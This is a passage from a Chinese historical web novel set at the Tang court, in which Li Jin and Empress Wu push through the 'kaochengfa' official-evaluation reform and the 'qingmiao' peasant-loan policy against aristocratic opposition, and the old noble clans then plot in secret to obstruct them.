他详细阐述了防范弊端的制度设计,显示出充分的准备。
“关于地区差异,” 李瑾转向皇帝与皇后,“陛下,皇后殿下,臣与吏部、户部、工部有司,已根据各地地理、经济、人口基础数据,初步拟定了一套 分 类 分 级 的 考 核 基 准 与 调 整 系 数。 例如,对边州与内地,对农业州与工商州,对灾荒频发地区与风调雨顺地区,其户口、田赋等考核的基准值与预期增长率皆会有所不同。此基准与系数,将由政事堂牵头,会同相关各部及熟悉地方情形的重臣、老吏共同议定,并 每 三 年 复 核 调 整 一 次, 以 适 应 变 化。 力求 公 平 合 理, 赏 罚 有 据。 至于是否会‘政出多门’,臣以为,只要明确‘考成法’的总纲与最终裁定权在陛下与皇后殿下手中,具体事务由吏部考功司在御史台监督下,依新规执行,反而能 统 一 标 准, 减 少 人 情 干 扰。**” 他提出了解决地区差异的具体技术方案,显示了新政并非空想,而是有细致规划的。
“最后,太尉言及‘德行文章’与‘士人心气’。” 李瑾的语气缓和下来,却更显恳切,“ 下 官 从 未 主 张 废 弃 德 行 与 经 史。 相 反, ‘ 考 成 法’ 中 的 ‘ 狱 讼 清 明’、 ‘ 民 生 安 定’ 等 指 标, 本 身 就 是 对 官 员 德 行 与 能 力 的 综 合 考 察。 一 个 能 使 辖 区 政 通 人 和、 百 姓 安 居 乐 业 的 官 员, 其 德 行 与 能 力 难 道 会 差 吗? 至 于 经 史 文 章, 自 是 士 人 立 身 之 本, 然 治 国 理 政, 除 了 通 晓 经 义, 更 需 明 白 如 何 劝 课 农 桑、 如 何 审 理 狱 讼、 如 何 兴 修 水 利。 若 只 知 空 谈 道 德 性 命, 而 不 知 民 间 疾 苦, 不 懂 实 务 运 作, 如 何 能 称 得 上 ‘ 明 于 大 体’? 至 于 寒 门 学 子, 他 们 中 不 乏 因 生 活 艰 辛 而 更 知 民 间 实 情, 因 求 学 不 易 而 更 加 珍 惜 机 会、 勤 勉 任 事 之 人。 给 他 们 一 个 公 平 竞 争 的 机 会, 正 是 为 朝 廷 广 纳 贤 才, 何 来 ‘ 恐 难 当 大 任’ 之 说? 昔 日 马 周、 张 玄 素 等 寒 门 名 臣, 难 道 不 是 太 宗 皇 帝 破 格 擢 用, 方 成 一 代 名 臣 吗?**” 他巧妙地将“德行”融入新政考核,并引用太宗用人旧例,驳斥了“寒门难当大任”的偏见。
李瑾一番长篇论述,逻辑严密,有破有立,既回应了长孙无忌的质疑,又进一步阐释了“考成法”的核心理念与具体设计,展现出了超越年龄的成熟与政治智慧。殿中许多原本心存疑虑的务实派官员,尤其是那些曾在地方任职、深知旧制弊病者,眼中开始流露出深思与认可。
长孙无忌面色依旧沉静,只是那深陷的眼窝中,光芒更加幽深。他知道,在“二圣”明显倾向新政、且李瑾准备如此充分的情况下,单纯的理论辩驳已难以阻止。他沉默片刻,再次开口,语气已不再激烈,而是带着一种沉重的忧虑:“李相思虑周详,老臣佩服。然, 兹 事 体 大, 牵 一 发 而 动 全 身。 纵有良法美意,若推行之人不得力,或地方阳奉阴违,其害恐有甚于旧弊者。不知李相欲以何人主理此事?又如何确保新政能真正落实于州县,而不沦为纸上空文?”
他将攻击的焦点,从“法理”转向了“执行”,这是一个更现实、也更凶险的问题。如果主持者威望不足、能力不够,或者遭到地方势力的联合抵制,再好的政策也可能寸步难行,甚至引发更大的混乱。
这一次,不等李瑾回答,凤座上的武媚娘再次开口,声音清晰而果决,带着一种定鼎乾坤的力量:“太尉所虑,正是关键。新政之成败,首在得人,次在监督。陛下与本宫已有决断。”
她微微侧身,对皇帝道:“陛下,李相总督平边,军务繁巨,难再分身总揽考成法推行细则。然新政乃国之根本,不可轻忽。臣妾以为,可 成 立 一 ‘ 考 成 法 推 行 总 署’, 直 属 于 政 事 堂, 专 司 此 事。 总 署 之 长 官, 需 德 高 望 重、 熟 悉 吏 治、 且 能 不 徇 私 情 者 担 当。 不 知 陛 下 以 为, 由 司 空 李 勣 李 公, 暂 领 此 职, 如 何? 李 公 军 功 卓 著, 年 高 德 劭, 处 事 公 正, 由 其 坐 镇, 当 可 镇 慑 宵 小, 统 筹 全 局。 具 体 事 务, 可 由 吏 部 侍 郎 协 理, 并 从 御 史 台、 门 下 省 抽 调 干 员 辅 佐。 李 相 则 从 旁 提 供 制 度 设 计 与 技 术 支 持。 如 此, 既 不 影 响 ‘ 平 边’ 大 业, 又 能 保 障 ‘ 考 成 法’ 稳 步 推 行。 至 于 地 方 执 行, 当 以 关 内、 河 南、 江 南 三 道 为 先 行 试 点, 取 得 经 验 后, 再 逐 步 推 广。 御 史 台 需 派 出 精 干 御 史, 分 赴 试 点 各 州 县, 明 察 暗 访, 直 接 向 陛 下 与 本 宫 奏 报 实 情, 对 于 阻 挠 新 政、 阳 奉 阴 违 者, 无 论 身 份, 严 惩 不 贷!**”
皇后此言,可谓老谋深算!以李勣这位军方泰斗、且与各方势力相对超然的重臣挂帅,足以压服许多反对声音;让李瑾提供技术支持,既用其才,又避免其因“锋芒过露”而成为众矢之的;选择相对富庶、控制力较强的关内、河南、江南三道试点,风险可控;最后,以强化御史巡察为监督利剑,为新政保驾护航。这个安排,几乎考虑了所有执行层面的难题,显示了武媚娘高超的政治手腕与对局势的精准把控。
皇帝李治闻言,精神一振,抚掌道:“皇后所议甚妥!便依皇后所言。李司空,朕便将这‘考成法’推行之重任,托付于你了!”
一直沉默旁观的李勣,此刻不得不出列,他深深看了御座与凤座方向一眼,又瞥了一眼面色凝重的长孙无忌,最终躬身道:“老臣……领旨。必当尽心竭力,不负陛下、皇后殿下重托。” 他知道,自己已被推到了新旧势力交锋的最前沿,再无退路。
长孙无忌见皇帝皇后已决断,且推出了李勣这块“金字招牌”,心知在朝堂上已无法阻止“考成法”的推行。他不再多言,默默退回班列,只是那低垂的眼帘下,寒光一闪而逝。朝堂之争暂告段落,但地方上的较量,恐怕才刚刚开始。
“考成法官吏”之议,就此定下基调。一场以“绩效”衡量官员、试图打破门第资历垄断的吏治风暴,即将席卷帝国的核心区域。而它引发的震动与反弹,也必将随着“考成法推行总署”的成立与试点工作的展开,而愈发剧烈地显现出来。
第103章 青苗贷惠民
“考成法”的惊雷尚未在群臣心头完全散去,紫宸殿中凝重的空气刚刚因李勣的接任而略有松动,皇帝李治的声音便再次响起,将朝议引向了新政的第二柄利刃:
“吏治新章,既已议定,着李司空统筹推行。接下来,便议这‘经济新策’之首务—— ‘ 青 苗 贷’。** 此事关乎百姓生计,社稷根本。众卿有何高见,尽可直言。”
“青苗贷”三字一出,殿中许多官员,尤其是那些出身地方大族、与民间借贷利益有千丝万缕联系的朝臣,呼吸都不由一窒。如果说“考成法”触动的是官员的仕途和考评方式,那么“青苗贷”则直接触动了地方豪强、富商乃至许多官员家族最敏感的经济神经—— 高 利 贷 与 土 地 兼 并。 在生产力相对低下、抗风险能力弱的农耕社会,青黄不接或遭遇天灾人祸时,向富户借取高利贷,几乎是贫苦农户唯一的选择。而一旦还不上利滚利的债务,土地、房屋乃至妻女,便成了抵债之物。无数自耕农由此破产,沦为佃户、部曲或流民,而地方豪强的田产则如滚雪球般膨胀。“青苗贷”旨在以官方低息贷款取代民间高利贷,无异于直接斩断这条最有效、最隐蔽的土地兼并渠道,其阻力可想而知。
果然,短暂的沉默后,一位身着紫色官袍、面庞圆润的老臣出列,正是 户 部 尚 书 卢 承 庆。** 卢氏乃范阳大族,世代簪缨,家族在河北等地广有田产,与地方借贷利益牵连甚深。他手持玉笏,面色沉重,语气恳切:
“陛下,皇后殿下。老臣掌管户部,深知民间疾苦,亦知高利贷盘剥之酷烈。朝廷欲以‘青苗贷’惠民,其心可嘉,其情可悯。然则……” 他话锋一转,“ 此 事 牵 扯 甚 广, 利 害 极 大, 老 臣 不 得 不 冒 死 直 言。**”
“其一, 本 金 何 来?” 卢承庆抛出最实际的问题,“若欲行‘青苗贷’,需在州县常平仓附设‘惠农钱庄’,储备大量钱粮以为本金。如今国库虽因‘平准法’稍裕,然北疆、西域用兵在即,‘平边’大业耗费无算,军器监、格物所、各地工坊、道路、水渠处处需钱。若再从中抽取巨资以为‘青苗’本金,恐 入 不 敷 出, 动 摇 国 用 根 本。 此 为 国 力 之 忧。” 他先扣了个“动摇国本”的大帽子。
“其二, 如 何 防 贪?” 卢承庆继续道,脸上露出痛心疾首之色,“朝廷本意是惠民,然地方胥吏,良莠不齐。若将放贷之权下放州县,难保不会有奸猾胥吏,或 假 公 济 私, 将 低 息 官 贷 转 手 高 利 贷 出, 中 饱 私 囊; 或 强 迫 百 姓 借 贷, 不 问 需 求; 或 在 收 贷 之 时, 百 般 刁 难, 加 收 杂 费。 到 头 来, 非 但 惠 民 不 成, 反 成 害 民 之 政, 损 及 朝 廷 威 信。 此 为 吏 治 之 忧。**” 这一点,确实戳中了官方信贷最容易出现的弊端,殿中不少官员微微颔首。
“其三, 如 何 定 价?” 卢承庆再问,“民间借贷,息有高低,然随行就市。若官贷息率过低,固然惠民,然钱粮周转损耗、仓储管理费用、胥吏俸禄开销从何而出?长久必然亏空,难以为继。若息率稍高,则与民间借贷相差无几,百姓何必舍近求远,徒增官府事务?此中分寸,极难把握。此乃 经 济 之 忧。”
“其四, 如 何 应 对 民 间 反 弹?” 他最后压低了声音,却更显严重,“民间放贷者,非独豪强,亦有寻常富户、寺院、乃至官员亲属。‘青苗贷’一行,无疑断其重要财路。彼等盘根错节,在地方势力深厚。若其联合抵制,或散布谣言,或暗中破坏,甚至煽动无知小民抗拒官贷,届时地方恐生乱象。朝廷是惩是抚?此乃 社 会 之 忧。”
卢承庆四条,条条看似从国家大局、实际困难出发,言辞恳切,忧国忧民,实则处处点明“青苗贷”推行可能带来的巨大风险与执行难题,潜台词便是“此策虽好,然现实难行,强行推行恐酿大祸”。这比直接反对更为高明,也更能引起那些并非直接利益相关、但求稳怕乱的官员共鸣。
御座上,李治眉头再次蹙起。卢承庆所言,并非全无道理,尤其是吏治腐败和民间反弹两点,确是心腹大患。他不由再次看向李瑾。
这次,不等李瑾开口,侍立武媚娘身旁、一直静默记录的女官上官婉儿(或某位北门学士代表)在皇后示意下,从袖中取出一卷文书,声音清脆地禀报道:“陛下,户部卢尚书所言诸难,皇后殿下与李相、及政事堂诸公、北门学士等,已有所虑。此有初步应对细则,请陛下御览,并呈诸公参详。”
内侍接过,呈于御案。皇帝展开,武媚娘也微微侧身同观。只见上面条分缕析,针对卢承庆的每一点质疑,都有详尽的回应与设计。
李瑾适时出列,开始阐释:“卢尚书老成谋国,所虑周详,下官等感佩。针对卢尚书所提诸难,新政细则中确有应对。”
“其一, 本 金 来 源。 并非要求朝廷一次性拨付巨资。初步设想是: 一, 从 各 地 常 平 仓 现 有 储 备 粮 中, 划 拨 一 部 分 作 为 启 动 本 金。 常平仓本有平粜、赈济之责,以部分存粮进行有偿借贷,使其流动增值,亦是物尽其用。 二, 从 去 岁 因 ‘ 平 准 法’ 及 其 他 开 源 节 流 措 施 所 得 之 国 库 结 余 中, 抽 调 一 部 分 作 为 补 充。 三, 最 重 要 的, 是 以 贷 养 贷, 循 环 增 值。** 首轮借贷收回本息后,本息即成为新的本金,滚动发放。初期规模不求大,先在试点州县稳妥运行,待模式成熟、百姓认可、本息回流顺畅后,再逐步扩大规模。如此,初始投入无需过巨,而长远可期。且‘平边’大业所需军费,主要来自盐铁茶专营、市舶司等新增利源,与此并无根本冲突。” 他提出了分级启动、以贷养贷的务实方案。
“其二, 防 止 贪 腐。 此为新政成败关键。细则如下: 一, 借 贷 对 象 与 额 度 严 格 审 核。 由里正、乡老会同州县户曹,核实借贷农户确系贫苦、确有需要,并具结担保,防止冒贷、滥贷。 二, 借 贷 流 程 公 开 透 明。 借贷农户姓名、缘由、数额、息率、归还日期,需在村、乡、县三级张榜公示,许人检举不公。 三, 利 息 与 本 金 分 离 管 理。 所收利息,除必要之仓储、损耗、胥吏补贴(此补贴与回收本息绩效挂钩)外,盈余部分需逐级上缴,纳入国库或本地公用,州县不得截留。 四, 强 化 监 督 与 重 罚。 不仅御史台、按察使加强巡查,更鼓励百姓通过‘铜匦’或直接向巡察御史举报。对于强贷、转贷、加收杂费、刁难百姓等行为,一经查实,主犯 从 重 治 罪, 家 产 抄 没 充 作 贷 本; 上 官 知 情 不 报 或 纵 容 者, 同 罪 连 坐。 五, 借 贷 契 约 由 朝 廷 统 一 印 制, 编 号 登 记, 防 止 篡 改。 此 外, 还 可 考 虑 从 国 子 监 算 学、 明 法 科 选 拔 学 子, 经 过 短 期 培 训 后, 派 驻 各 地 ‘ 惠 农 钱 庄’ 协 助 核 算 监 督, 既 可 防 弊, 亦 可 锻 炼 人 才。**” 李瑾提出了一系列具体到操作细节的防贪设计,显示出深思熟虑。
“其三, 息 率 定 价。 初步拟定, 年 息 不 得 超 过 二 成(20%), 并 根 据 借 贷 时 间 长 短、 粮 食 种 类 略 有 浮 动。 此息率远低于民间动辄五成、甚至对本对利(100%)的高利贷,足以体现惠民之本意。至于运营成本,可从利息中支取部分,更关键在于, 此 举 之 目 的, 首 在 ‘ 惠 民’ 与 ‘ 安 农’, 次 在 ‘ 盈 利’。 只要本金能大体保全并缓慢增值,使此策得以持续运行,便是成功。即便稍有损耗,比起农户破产、土地兼并、流民增多所引发的社会动荡与税基萎缩,这点代价也是值得的。况且,随着规模扩大、运作成熟,亏损可能微乎其微,甚至会有盈余补贴地方。此乃 算 政 治 账、 社 会 账, 而 非 仅 算 经 济 小 账。” 他明确区分了政策目标,将社会效益置于单纯盈利之上。
“其四, 应 对 民 间 反 弹。” 李瑾的声音变得冷峻起来,“朝廷推行‘青苗贷’,乃为解民倒悬,抑制兼并,稳固国本。凡阻挠、破坏此政者,便是与朝廷为敌,与亿兆黎民为敌!细则规定: 一, 加 强 宣 谕。 州县官员需深入乡里,宣讲‘青苗贷’之利,揭露高利贷之害,使百姓明晓朝廷德意。 二, 对 于 散 布 谣 言、 恐 吓 百 姓 不 敢 借 贷 者, 一 经 查 实, 严 惩 不 贷。 三, 对 于 敢 于 以 暴 力 手 段 破 坏 ‘ 惠 农 钱 庄’ 或 伤 害 借 贷 农 户、 官 府 吏 员 者, 以 谋 逆 论 处, 地 方 官 员 有 责 立 即 弹 压, 格 杀 勿 论! 四, 对 于 那 些 确 有 资 财、 一 贯 从 事 放 贷 者, 朝 廷 可 以 引 导 其 将 资 金 转 向 工 商、 垦 荒 等 其 他 利 国 利 民 之 业, 对 于 主 动 降 低 息 率、 合 理 经 营 的 民 间 借 贷, 朝 廷 并 不 禁 绝, 但 需 在 官 府 备 案, 息 率 不 得 超 过 官 定 上 限。 如 此, 分 化 瓦 解, 区 别 对 待, 可 将 阻 力 降 至 最 低。” 软硬兼施,既彰显朝廷决心,也给出一定出路,策略清晰。
李瑾一番详尽的回应,再次展现了他对新政细节的深思熟虑。他不仅回答了质疑,更勾勒出了一套相对完整、兼顾理想与现实的推行方案。殿中不少务实派和中立官员,开始认真思考其可行性。
然而,利益攸关者绝不会轻易罢休。卢承庆之后,又有一位出身太原王氏的御史中丞出列,语气激动:“李相所言,看似面面俱到,实则过于理想!民间借贷,自古有之,岂能因朝廷一纸法令而绝?且官府涉足借贷,与民争利,岂是圣朝仁政所为?更遑论严刑峻法以待民间,恐非教化之道,反伤陛下仁德之名! 臣 恐 ‘ 青 苗 贷’ 一 出, 非 但 惠 民 不 成, 反 使 官 府 信 誉 扫 地, 民 间 怨 声 载 道, 请 陛 下、 皇 后 殿 下 三 思 啊!” 他将问题上升到“与民争利”、“伤及仁德”的道德高度。
一直沉默的 司 农 寺 卿 出 列 反 驳:“王中丞此言差矣!民间高利贷,吸髓吮血,致使多少农户家破人亡,卖儿鬻女?此乃 民 间 大 害, 岂 是 寻 常 ‘ 与 民 争 利’? 朝廷以低息贷放,救民于水火,正是最大之仁政!若坐视高利贷横行,兼并日炽,流民四起,那才是真正的不仁不德!至于官府信誉,只要严格执法,杜绝贪腐,使百姓真正得惠,何愁信誉不立?”
又有 户 部 一 位 出 身 寒 门、 曾 在 地 方 为 县 令 的 侍 郎 激 动 道**:“陛下,皇后殿下!臣曾在畿县为令,亲见每年春荒,富户围积居奇,粮价腾贵,贫户告贷无门,只得将仅有的田产、甚至妻女典与豪强,息滚息,利滚利,不过一二年,便沦为赤贫!臣每每思之,痛心疾首!‘青苗贷’若行,实乃万千贫苦百姓之再生父母!纵然有千难万险,只要有一线惠民之机,朝廷便当竭力为之!岂能因畏难而废善政?”
朝堂之上,支持与反对的声音开始交锋,但明显能感觉到,随着李瑾对细则的阐述,以及司农寺、户部部分官员基于实务经验的支持,加上“二圣”明显倾向于新政的态度,反对的声音虽仍强烈,但已不如先前针对“考成法”时那般“理直气壮”,更多集中在“执行难”、“恐生弊”等具体操作层面,难以从根本道义上否定“青苗贷”的惠民初衷。
端坐凤座的武媚娘,静静听着双方的辩论,直到争论稍歇,她才缓缓开口,声音不大,却带着一种穿透人心的力量:“卢尚书、王中丞所虑,皆是老成谋国之言,朝廷自当审慎。然,司农卿与户部侍郎所言,更是肺腑之言,道出了民间实情。 朝 廷 施 政, 当 以 百 姓 疾 苦 为 先。** 本宫在宫中,亦常闻内外命妇言及家乡亲友,每至青黄不接,多有困顿,甚或鬻子卖女者。此等惨状,岂是圣朝应有之象?”
她目光扫过殿中众臣,最后落在卢承庆等人身上:“ 执 行 之 难, 不 是 不 作 为 的 理 由, 而 是 需 要 我 们 更 加 用 心 去 克 服 的 障 碍。 防贪之策,李相已言之甚详。本金之筹,亦可分步施行。至于民间反弹……” 她语气转冷,凤目含威,“ 朝 廷 仁 政, 泽 被 苍 生, 若 有 奸 佞 为 一 己 私 利 而 阻 挠 破 坏, 便 是 自 绝 于 朝 廷, 自 绝 于 天 下 百 姓! 对 此 辈, 唯 有 严 刑 峻 法, 以 儆 效 尤! 同 时, 亦 当 如 李 相 所 言, 善 加 引 导, 给 予 出 路。 此 为 宽 严 相 济 之 道。”
她顿了顿,声音恢复平和,却带着不容置疑的决断:“陛下,臣妾以为,‘青苗贷’惠及贫苦,抑制兼并,稳固国本,其利远大于弊。细则既已详备,当可试行。不若仿效‘考成法’,亦 择 数 道 数 州 为 先 行 试 点。 河南道、河北道、淮南道,此三地或富庶,或地广,或常有水旱,颇具代表性。可 以 司 农 寺 为 主, 户 部、 御 史 台 协 同, 成 立 ‘ 青 苗 贷 推 行 总 署’, 专 司 其 事。** 同样,御史台需加强巡察,铜匦畅通,务求新政善惠于民,而不为贪吏豪强所趁。”
皇帝李治见皇后态度坚决,方案具体,且支持者理由充分,心中大定,朗声道:“皇后所言甚是!民为邦本,本固邦宁。‘青苗贷’乃固本安民之良策,纵有万难,亦当推行!便依皇后所议,着司农寺牵头,会同户部、御史台,成立‘青苗贷推行总署’,择河南、河北、淮南三道先行试点。具体细则,依今日所议,由政事堂详定后颁布天下。 凡 有 敢 阻 挠 新 政、 盘 剥 百 姓、 贪 墨 贷 本 者, 无 论 是 官 是 绅, 一 体 严 惩 不 贷!”
“臣等遵旨!” 这一次,应和声比之前更为响亮,其中不乏许多中下层官员发自内心的赞同。他们或许并非完全理解所有细节,但“低息贷款给穷人”这个最朴素的概念,足以打动许多人的心。
卢承庆、王中丞等人面色灰败,却也无法再公开反对。天子的决心,皇后的智慧,李瑾的谋划,以及朝堂上逐渐转变的风向,都让他们意识到,这股名为“新政”的洪流,已然势不可挡。
“青苗贷惠民”之策,就此在激烈的辩论与详尽的规划中,尘埃落定。一场试图从经济根基上缓解社会矛盾、与民间高利贷及背后豪强势力正面交锋的变革,即将在帝国的腹心之地展开试点。而由此引发的暗流与对抗,也将随着春荒的临近,而悄然涌动。
第104章 旧贵阴阻挠
永徽五年的春天,来得似乎比往年更晚一些。长安城的柳梢刚刚吐出鹅黄的嫩芽,灞桥边的残雪尚未完全消融,而一场不见硝烟的战争,却已在大唐的肌理深处悄然蔓延。新政的纲领如同投入湖面的巨石,在朝堂激起千层浪后,其涟漪正迅速扩散至帝国的州县乡里,撞击在那些盘根错节、沉默而坚韧的旧有势力之墙上。
长安,崇仁坊,长孙府邸。
夜色深沉,书房内灯火通明,却只映出寥寥数人。太尉长孙无忌并未坐在主位,而是斜倚在铺着厚厚貂皮的胡床上,手中把玩着一枚温润的玉珏,神色平静,唯有眼底深处偶尔掠过一丝幽光。下首坐着几位心腹,包括其子长孙冲,以及几位在六部担任要职的关陇子弟。
“父亲,河南、河北、淮南诸道的‘惠农钱庄’已在筹建,司农寺派出的专员不日即将抵达各州。那‘考成法’的细则也已由吏部行文下发,据说李勣那老儿亲自坐镇政事堂,督促甚急。”长孙冲低声禀报,语气中带着压抑的愤懑,“还有风声说,政事堂正草拟诏令,要扩大明年常科取士中明算、明法、明字诸科的录取人数,并准许各地州学、县学优异者,可由地方官举荐,不经国子监直接参加常科考试。这……这简直是要掘我等根基啊!”
一位担任吏部考功司郎中的中年官员接口道:“太尉,下官在吏部亲眼所见,那‘考成法’细则,对地方官吏钱粮、刑名、教化、民生考核之详尽严苛,前所未有。尤以‘户口增长’、‘垦田数额’、‘赋税完纳’、‘狱讼清结’、‘学校兴修’、‘民情安稳’(铜匦投书与御史暗访结果)六项为核心,每项皆有量化指标与等第评定。年终考课,以此为准,优者擢升,劣者贬黪,甚者夺职问罪。各地刺史、县令,已是人心惶惶。”
另一位出身河东柳氏、在户部任职的官员忧心忡忡:“更麻烦的是‘青苗贷’。我柳家在河东、河北有良田数万顷,佃户数千。往年青黄不接,或遇灾荒,正是收拢田产、蓄养奴婢之时。如今朝廷这二成低息贷一出,那些泥腿子谁还肯借咱家的‘对本利’?长此以往,兼并无门,家中所蓄钱粮堆积,反成负累。更可虑者,那些得了喘息之机的农户,若真缓过劲来,日后恐怕更难拿捏。听说朝廷还鼓励举报强贷、高利,御史台的眼睛,这次怕是要死死盯住地方了。”
书房内一片沉寂,只有灯花偶尔爆开的噼啪声。新政的刀锋,已经切实地抵近了他们的咽喉。
良久,长孙无忌缓缓开口,声音带着一种久经风浪的淡漠:“慌什么。雷霆雨露,莫非天恩。陛下与皇后锐意革新,做臣子的,自当体察上意,尽力襄助。”
他这话说得冠冕堂皇,但在座诸人却听出了别样的意味。长孙冲试探道:“父亲的意思是……”
“新政自然是好的。”长孙无忌放下玉珏,端起茶盏,轻轻撇去浮沫,“为国选才,为民解困,谁能说个不字?只是……”他顿了顿,吹了吹茶汤,“再好的经,也要看念经的和尚,更要看听经的百姓。地方州县,情形复杂,不比长安这天子脚下。 政 令 出 了 京 城, 能 走 多 远, 能 入 多 深, 那 是 另 一 回 事。**”
他抬眼,目光扫过众人:“李勣年事已高,精力不济,又能盯得多紧?司农寺、吏部派下去的人,人生地不熟,两眼一抹黑,靠什么了解实情?还不是靠地方官员的汇报,靠乡绅耆老的引领?至于那些御史……”他嘴角泛起一丝极淡的冷笑,“长安的御史清贵,地方的御史嘛……也要吃饭,也要交际,也有亲朋故旧。 水 至 清 则 无 鱼, 人 至 察 则 无 徒。** 这个道理,走到哪里都是一样的。”
众人心领神会。太尉这是要他们, 不 硬 抗, 而 是 软 拖、 阴 阻、 变 通。 让新政在执行的细节中变形,在地方错综复杂的关系网中消解,在“吏治惯性”与“民间实际”的夹缝中被架空。
“那‘考成法’……” 吏部郎中欲言又止。
“该报的数字,自然要报。只是这‘户口增长’,天灾人祸,生老病死,总有损耗;‘垦田数额’,新垦之地,肥瘠不同,产量难定;‘赋税完纳’,水旱蝗灾,百姓困苦,缓征、减征乃至蠲免,亦是常情;‘狱讼清结’,有些陈年旧案,牵涉乡里大族,调解了结,总比判决伤了和气要好;‘学校兴修’,官府财力有限,乡绅捐资助学,亦是美德,进度慢些,情有可原;至于‘民情安稳’……” 长孙无忌啜了口茶,慢悠悠道,“百姓淳朴,但有时也易受谣言蛊惑,或被少数刁·民煽动。地方官维稳不易,只要大体安定,便是功劳。 御 史 也 是 人, 也 要 体 谅 地 方 的 难 处。 总 不 能 逼 得 州 县 官 员 都 去 做 那 涸 泽 而 渔、 刻 薄 寡 恩 的 酷 吏 吧? 这 样 的 考 成, 恐 非 朝 廷 本 意。**”
一番话,将“考成法”可能被扭曲、敷衍的漏洞,点得清清楚楚。众人眼中重新燃起希望。
“至于‘青苗贷’,”长孙无忌看向那位柳氏官员,“利息低,固然好。但官府放贷,总要有抵押,有担保吧?贫苦农户,家徒四壁,拿什么抵押?还不是田契、房契,甚或妻女?这与以往有何不同?只不过债主从你家,换成了官府罢了。再者,借贷手续,总需胥吏经办。胥吏奔走辛苦,得些‘润笔’、‘脚钱’,也是常情。农户愚钝,不识字,不懂契约,若‘自愿’多画个押,多摁个手印,借一还二,变成借一还三,那也是他们‘心甘情愿’。朝廷难道还能一一核对?” 他语气平淡,却将地方胥吏与豪强勾结,利用信息不对称、程序繁琐等手段盘剥农户,甚至将官贷异化为新的高利贷的途径,描绘得冰冷而清晰。
“还有,”他补充道,“官府钱粮有限,僧多粥少。哪些人能借到,哪些人借不到,先借给谁,后借给谁,这里面……难道没有个亲疏远近,人情世故?那些与官府亲近、与乡绅和睦的农户,总该优先些吧?那些平日不驯服、好告状的刁顽之徒,缓一缓,审一审,也是应有之义。 时 间 不 等 人, 等 官 府 审 核 完 毕, 怕 是 田 里 的 庄 稼 都 误 了 农 时。 到时候,他们是等着饿死,还是来求你们这些老主顾呢?”
书房内响起几声压抑的低笑,先前凝重的气氛为之一松。太尉不愧是太尉,轻描淡写间,便指出了无数种让新政“走样”、“变味”、“落实难”的法子。阳奉阴违,上下其手,拖字诀,糊涂账……这些千百年来地方官吏应付朝廷政策的“智慧”,足以让任何看似完美的条文,在实行中大打折扣,甚至适得其反。
“不过,”长孙无忌话锋又是一转,语气严肃起来,“ 切 记, 不 可 明 目 张 胆 对 抗 朝 廷 政 令, 更 不 可 落 人 口 实。 一切都要‘依制而行’、‘体恤民情’、‘因地制宜’。若有人问起,便是州县尽力而为,然地方实情复杂,非一纸公文可概,需徐徐图之。若有御史查访,更要小心应付,该诉的苦要诉,该表的功要表。记住, 我 们 不 是 反 对 新 政, 而 是 忧 心 新 政 操 之 过 急, 反 生 扰 民 之 弊。 这 是 为 朝 廷 分 忧, 为 地 方 着 想。**”
“父亲高见!”长孙冲等人心悦诚服,纷纷领命。他们知道,一场无声的战役,已经在地方州县打响。新政的条文将贴在城门口,而真正的较量,则在田间地头,在县衙户房,在乡绅的客厅,在胥吏的笔尖。
几乎同时,长安其他坊邸,类似的密议也在进行。
太原王氏的宅邸中,家族核心人物正商议如何利用在河北道的族人和门生,暗中收购粮食,囤积居奇,同时散布“青苗贷手续繁琐、抵押苛刻”、“官贷利息虽低,但胥吏需索无度,实际更高”等谣言,动摇农户借贷信心。
荥阳郑氏的子弟则盘算着,如何利用家族在士林清议中的影响力,联络一批对“考成法”不满的官员和名士,上书朝廷,以“苛法扰官”、“有违圣人教化之义”为由,请求暂缓或修改考成标准。同时,在江南道的家族势力范围内,暗示依附的官员对“扩科举、重实学”的诏令消极应付,在州学县学中仍以经学诗赋为主,对算学、格物等“杂学”敷衍了事。
范阳卢氏、赵郡李氏……这些盘踞地方数百年的门阀世家,如同深植于帝国土壤中的巨树,根系交错,绵密而坚韧。朝廷的新政风暴袭来,他们或许会摇落几片树叶,但粗壮的枝干与深入地底的根须,却开始更加紧密地纠缠在一起,默默汲取养分,准备承受更大的冲击,并以一种更加隐蔽而持久的方式,消解、扭曲、抵抗着自上而下的变革压力。
数日后,首批关于新政试点的奏报开始陆续送达长安。
“启奏陛下、皇后殿下,河南道汴州奏报:‘青苗贷’已张榜公布,百姓闻之,初时雀跃。然近日多有流言,称官贷需以田宅、子女为质,且胥吏索贿方可办理,以致贫户观望者众。又,州库存粮本不丰,若悉数贷出,恐遇灾荒无以赈济,请朝廷速拨钱粮,以实仓廪……”
“河北道冀州刺史奏:考成法条目细致,然州县事务繁杂,刑名钱谷已占去大半精力,今又增学校、教化、垦田等诸多考核,官吏疲于奔命,恐有顾此失彼之虞。且新垦土地,多贫瘠缺水,三年内难有赋税产出,若强求垦田数额,恐逼民开垦不毛,反伤地力。请朝廷体察下情,酌情宽限考成之期,或减免部分不急之务……”
“淮南道寿州有乡绅联名上书,言‘青苗贷’虽善,然乡间借贷,多凭信誉人情,官府插手,反伤乡谊和睦。且官贷手续繁琐,不及民间便捷。更有谣言,称借贷者需服额外徭役,百姓疑虑,不敢轻易向官府借贷……”
“江南道苏州、湖州等地州学呈文,言算学、格物师资匮乏,典籍不全,恳请朝廷派遣明师,赐下教材,否则新规难以落实……”
奏报如雪片般飞来,有诉苦的,有叫难的,有反映“民情”的,有请求“体谅”的。字里行间,无不透露出新政在地方推行遇到的种种“实际困难”和“民间疑虑”。有些是真实存在的问题,但更多,则是旧势力利用信息不对称、话语权优势和地方治理的复杂性,精心构建的软性抵抗。
紫宸殿侧殿,李瑾与几位支持新政的官员,正在武媚娘面前汇总这些信息。李瑾面色沉静,但眼神锐利如刀。他指着一份份奏报道:“皇后殿下请看,这些‘困难’,这些‘民情’,出现得如此整齐,如此迅速,矛头皆指向新政核心。汴州的谣言,冀州的诉苦,寿乡绅的联名,江南州学的求援……这绝非巧合。 旧 贵 们, 开 始 动 了。 他 们 不 是 明 着 反 对, 而 是 要 把 水 搅 浑, 把 事 情 拖 黄, 让 新 政 在 无 休 止 的 扯 皮、 诉 苦、 ‘ 因 地 制 宜’ 中, 变 成 一 纸 空 文。”
武媚娘端坐凤座,手指轻轻敲击着案几,脸上看不出喜怒,只有那双凤目中寒光凛冽。“本宫料到他们会阻挠,却没想到,动作这么快,手法这么‘周全’。诉苦、谣言、请愿……倒是把自己摘得干净,仿佛全是朝廷不体恤下情,全是胥吏无能,全是百姓愚昧。”
